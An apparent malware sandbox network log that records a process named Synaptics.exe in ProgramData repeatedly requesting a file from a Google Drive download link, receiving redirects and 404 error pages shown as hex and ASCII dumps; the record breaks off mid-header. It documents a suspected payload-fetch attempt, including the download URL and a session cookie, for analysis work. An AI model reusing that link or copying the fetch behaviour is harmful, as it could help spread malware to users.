2024-07-25 19:55:31 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	49874	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:32 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-rZb8wtDts68x2dY1YQ0BBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	49875	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:32 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YUCoaZZ09oPow5ZZnpfv_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	49880	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:33 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:33 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-rDlpE2bugMnf1BSsH6S43g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNcIZGY6UXlJJHy755nZ-hqL6_vd1VVoitCaz8_WiiO-AwgwAIDiqw3JNlltVYL3jKTjIJ-KhBX7Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:33 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 44 66 68 5f 55 45 55 76 50 50 42 32 45 73 4e 45 4e 4e 51 50 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="fDfh_UEUvPPB2EsNENNQPg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	49877	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:33 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0xvtyhD3bXn2IwQrJeJwbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	49878	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:33 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:33 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-jUXhaCObJM8X8d0dJZhajg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nO54y1VQfP_mtBUhuQLhIE4VpNAkisJSQQRzY8JgkwqH2eUQAKlYPN8U2v1xo_4nNz1gnafBb3oUw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:33 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 2d 46 58 67 6b 43 66 36 41 32 79 33 4b 58 6a 32 48 7a 6f 70 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="m-FXgkCf6A2y3KXj2HzopQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	49879	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:33 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yzN4pHRltx_elnHxxkwVbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	49883	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:34 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MeYBgI9ELeKxVwMMkj-UZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	49885	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:34 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:34 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:34 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-0Q6owsVOfBjNTp26HNrm2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNDkctmsfe2d_Nc_lvUVPQc_MpA1fqGAv6PXF680MGtasaWmWdvd_wqgjDSlCWazo6qKCI6T33kwA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:34 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 7a 66 75 32 41 52 53 75 59 2d 66 61 74 74 78 6f 6a 4d 36 46 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="hzfu2ARSuY-fattxojM6Fw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	49884	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:34 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-GFAP5TLF_R9bjcp1gv3DsQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, 